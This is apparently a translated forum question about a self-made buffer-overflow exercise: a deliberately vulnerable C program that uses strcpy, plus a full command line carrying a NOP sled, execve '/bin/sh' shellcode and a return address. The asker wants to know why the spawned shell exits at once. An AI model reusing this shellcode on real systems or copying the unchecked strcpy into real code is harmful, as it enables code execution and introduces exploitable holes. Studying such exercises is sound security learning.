从程序内部启动后如何使 shell 保持活动状态?

从程序内部启动后如何使 shell 保持活动状态?

我不知道在哪里问这个问题,因为它是编程和 Linux 的混合体,但希望这是正确的地方。我写了一个简单的程序,我的缓冲区溢出了。我已经完成了我的利用中的每一步,但只有一步。当我运行 shell 代码时,它/bin/bash会被执行,然后立即关闭,因为它没有输入。我用一个这样的参数来调用我的程序,其中./vuln arg arg包含 shell 代码。据我了解,shell 需要一些输入,但是当我的易受攻击的程序完成时,它会关闭应该接收标准输入的管道,从而也关闭我的 shell。我收到以下消息

/bin/sh: line 1: warning: command substitution: ignored null byte in input

下面是我的 C 代码(如果有帮助的话):

#include <stdio.h>
#include <string.h>

int main(int argc, char** argv){
    char buffer[100];
    strcpy(buffer, argv[1]);

    return 0;
}

我用来打开 shell 的命令:

./vuln $(python -c "import sys; sys.stdout.buffer.write(b'\x90'*60 + b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' + b'\x40\xd6\xff\xff'*6)")

我已经尝试过:

./vuln $(python -c "import sys; sys.stdout.buffer.write(b'\x90'*60 + b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' + b'\x40\xd6\xff\xff'*6)") | cat

甚至用而;不是|,以及其他一些不同的变体,但没有一个起作用这是我刚刚运行时得到的错误./vuln my_payload

[Detaching after fork from child process 4010]
bash: warning: command substitution: ignored null byte in input
[Detaching after fork from child process 4011]

相关内容